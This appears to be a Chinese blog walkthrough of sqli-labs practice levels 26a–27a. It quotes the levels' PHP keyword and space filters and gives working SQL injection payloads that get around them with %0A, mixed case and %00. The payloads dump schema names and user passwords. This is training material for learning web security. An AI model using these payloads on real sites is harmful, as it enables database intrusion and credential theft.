note-13

less26a

网上博客是说用%a0来代替空格,但是我这环境好像解析不了,
也不能用报错注入。
最后试出来能用来盲注的payload就是:

1
?id=')||if(length(database())=8,1,0);%00

结果牛大b了,在后面27在同样过滤了空格的情况下用其它如%a0能正确解析,可能是我的关卡文件有问题;
那不管了,直接做less27。

less27

这题过滤对大小写没考虑,可以直接大小写绕过
题目好像把符号过滤了,用id=-1会变成1,注意要用数据库没用的值
题目过滤:

1
2
3
4
5
6
7
8
9
10
11
12
13
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;

payload:

1
2
3
4
?id=0'%0AunIOn%0ASeleCT%0A1,2,3;%00
?id=0'%0AunIOn%0ASeleCT%0A1,2,group_concat(table_name)%0Afrom%0AinfoRmation_schema.tables%0Awhere%0Atable_schema='security';%00
?id=0'%0AunIOn%0ASeleCT%0A1,2,group_concat(column_name)%0Afrom%0AinfoRmation_schema.columns%0Awhere%0Atable_name='users'%0Aand%0Atable_schema='security';%00
?id=0'%0AunIOn%0ASeleCT%0A1,2,group_concat(id,username,passwOrd )%0Afrom%0Ausers;%00

less27a

依旧没用过滤大小写,区别是没用报错回显,不能用报错注入。

1
2
3
4
?id=11111"uNion%0AselecT%0A1,2,3;%00
?id=11111"uNion%0AselecT%0A1,database(),group_concat(table_name)from%0AinfoRmation_schema.tables%0Awhere%0Atable_schema='security';%00
?id=11111"uNion%0AselecT%0A1,database(),group_concat(column_name)from%0AinfoRmation_schema.columns%0Awhere%0Atable_name='users'%0Aand%0Atable_schema='security';%00
?id=11111"uNion%0AselecT%0A1,database(),group_concat(id,username,password)from%0Ausers;%00

note-13
https://aidemofashi.github.io/2025/03/15/note-13/
作者
aidemofashi
发布于
2025年3月15日
许可协议